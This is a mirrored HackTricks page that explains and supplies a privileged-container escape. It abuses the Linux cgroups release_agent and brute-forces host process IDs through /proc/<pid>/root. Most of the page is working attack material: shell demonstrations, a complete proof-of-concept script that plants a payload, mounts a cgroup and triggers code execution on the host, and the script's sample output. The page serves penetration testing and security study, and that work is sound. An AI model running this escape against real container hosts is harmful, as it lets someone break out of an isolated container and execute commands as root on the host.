mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 19:43:31 +00:00
206 lines
7.8 KiB
Markdown
206 lines
7.8 KiB
Markdown
|
# release\_agent exploit - Relative Paths to PIDs
|
|||
|
|
|||
|
## Introduction
|
|||
|
|
|||
|
The previous PoCs work fine when the container is configured with a storage-driver which exposes the **full host path of the mount point**, for example `overlayfs`, however there are configurations which did **not obviously disclose the host file system mount point**.
|
|||
|
|
|||
|
In this PoC instead of using the path where the container is located inside the hosts filesystem, we are going to discover a container PID inside the host a
|
|||
|
|
|||
|
### Examples of container not exposing the path location inside the host
|
|||
|
|
|||
|
#### Kata Containers
|
|||
|
|
|||
|
```
|
|||
|
root@container:~$ head -1 /etc/mtab
|
|||
|
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
|
|||
|
```
|
|||
|
|
|||
|
[Kata Containers](https://katacontainers.io) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.
|
|||
|
|
|||
|
#### Device Mapper
|
|||
|
|
|||
|
```
|
|||
|
root@container:~$ head -1 /etc/mtab
|
|||
|
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
|
|||
|
```
|
|||
|
|
|||
|
I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.
|
|||
|
|
|||
|
## PoC
|
|||
|
|
|||
|
The one key piece of information required is the **full path, relative to the container host, of a file to execute within the container**. Without being able to discern this from mount points within the container we have to look elsewhere.
|
|||
|
|
|||
|
### /proc/\<pid>/root
|
|||
|
|
|||
|
The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container
|
|||
|
|
|||
|
```bash
|
|||
|
root@container:~$ sleep 100
|
|||
|
```
|
|||
|
|
|||
|
```bash
|
|||
|
root@host:~$ ps -eaf | grep sleep
|
|||
|
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
|
|||
|
root@host:~$ ls -la /proc/`pidof sleep`
|
|||
|
total 0
|
|||
|
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
|
|||
|
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
|
|||
|
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
|
|||
|
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
|
|||
|
-r-------- 1 root root 0 Nov 19 10:04 auxv
|
|||
|
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
|
|||
|
--w------- 1 root root 0 Nov 19 10:04 clear_refs
|
|||
|
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
|
|||
|
...
|
|||
|
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
|
|||
|
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
|
|||
|
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
|
|||
|
...
|
|||
|
```
|
|||
|
|
|||
|
_As an aside, the `/proc/<pid>/root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_
|
|||
|
|
|||
|
> /proc/\[pid]/root
|
|||
|
>
|
|||
|
> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*.
|
|||
|
>
|
|||
|
> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself.
|
|||
|
|
|||
|
The **`/proc/<pid>/root` symbolic link can be used as a host relative path to any file within a container**:
|
|||
|
|
|||
|
```bash
|
|||
|
root@container:~$ echo findme > /findme
|
|||
|
root@container:~$ sleep 100
|
|||
|
```
|
|||
|
|
|||
|
```bash
|
|||
|
root@host:~$ cat /proc/`pidof sleep`/root/findme
|
|||
|
findme
|
|||
|
```
|
|||
|
|
|||
|
{% hint style="warning" %}
|
|||
|
**This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of **_**any**_** process running in the container.**
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
### Pid Bashing <a href="#pid-bashing" id="pid-bashing"></a>
|
|||
|
|
|||
|
This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the **host process id of a process within a container, a brute force incremental search can be used**:
|
|||
|
|
|||
|
```
|
|||
|
root@container:~$ echo findme > /findme
|
|||
|
root@container:~$ sleep 100
|
|||
|
```
|
|||
|
|
|||
|
Host
|
|||
|
|
|||
|
```bash
|
|||
|
root@host:~$ COUNTER=1
|
|||
|
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
|
|||
|
root@host:~$ echo ${COUNTER}
|
|||
|
7822
|
|||
|
root@host:~$ cat /proc/${COUNTER}/root/findme
|
|||
|
findme
|
|||
|
```
|
|||
|
|
|||
|
### Putting it All Together <a href="#putting-it-all-together" id="putting-it-all-together"></a>
|
|||
|
|
|||
|
To complete this attack the brute force technique can be used to **guess the PID for the path `/proc/<pid>/root/payload.sh`**, with **each iteration** writing the guessed pid **path to the cgroups `release_agent` file, triggering the `release_agent`**, and seeing if an output file is created.
|
|||
|
|
|||
|
The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that.
|
|||
|
|
|||
|
The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the **cgroups `release_agent` functionality**:
|
|||
|
|
|||
|
```bash
|
|||
|
#!/bin/sh
|
|||
|
|
|||
|
OUTPUT_DIR="/"
|
|||
|
MAX_PID=65535
|
|||
|
CGROUP_NAME="xyx"
|
|||
|
CGROUP_MOUNT="/tmp/cgrp"
|
|||
|
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
|||
|
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
|||
|
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
|||
|
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
|||
|
|
|||
|
# Run a process for which we can search for (not needed in reality, but nice to have)
|
|||
|
sleep 10000 &
|
|||
|
|
|||
|
# Prepare the payload script to execute on the host
|
|||
|
cat > ${PAYLOAD_PATH} << __EOF__
|
|||
|
#!/bin/sh
|
|||
|
|
|||
|
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
|||
|
|
|||
|
# Commands to run on the host<
|
|||
|
ps -eaf > \${OUTPATH} 2>&1
|
|||
|
__EOF__
|
|||
|
|
|||
|
# Make the payload script executable
|
|||
|
chmod a+x ${PAYLOAD_PATH}
|
|||
|
|
|||
|
# Set up the cgroup mount using the memory resource cgroup controller
|
|||
|
mkdir ${CGROUP_MOUNT}
|
|||
|
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
|||
|
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
|||
|
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
|||
|
|
|||
|
# Brute force the host pid until the output path is created, or we run out of guesses
|
|||
|
TPID=1
|
|||
|
while [ ! -f ${OUTPUT_PATH} ]
|
|||
|
do
|
|||
|
if [ $((${TPID} % 100)) -eq 0 ]
|
|||
|
then
|
|||
|
echo "Checking pid ${TPID}"
|
|||
|
if [ ${TPID} -gt ${MAX_PID} ]
|
|||
|
then
|
|||
|
echo "Exiting at ${MAX_PID} :-("
|
|||
|
exit 1
|
|||
|
fi
|
|||
|
fi
|
|||
|
# Set the release_agent path to the guessed pid
|
|||
|
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
|||
|
# Trigger execution of the release_agent
|
|||
|
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
|||
|
TPID=$((${TPID} + 1))
|
|||
|
done
|
|||
|
|
|||
|
# Wait for and cat the output
|
|||
|
sleep 1
|
|||
|
echo "Done! Output:"
|
|||
|
cat ${OUTPUT_PATH}
|
|||
|
```
|
|||
|
|
|||
|
Executing the PoC within a privileged container should provide output similar to:
|
|||
|
|
|||
|
```bash
|
|||
|
root@container:~$ ./release_agent_pid_brute.sh
|
|||
|
Checking pid 100
|
|||
|
Checking pid 200
|
|||
|
Checking pid 300
|
|||
|
Checking pid 400
|
|||
|
Checking pid 500
|
|||
|
Checking pid 600
|
|||
|
Checking pid 700
|
|||
|
Checking pid 800
|
|||
|
Checking pid 900
|
|||
|
Checking pid 1000
|
|||
|
Checking pid 1100
|
|||
|
Checking pid 1200
|
|||
|
|
|||
|
Done! Output:
|
|||
|
UID PID PPID C STIME TTY TIME CMD
|
|||
|
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
|||
|
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
|||
|
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
|||
|
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
|||
|
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
|||
|
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
|||
|
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
|
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
|
...
|
|||
|
```
|
|||
|
|
|||
|
## References
|
|||
|
|
|||
|
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|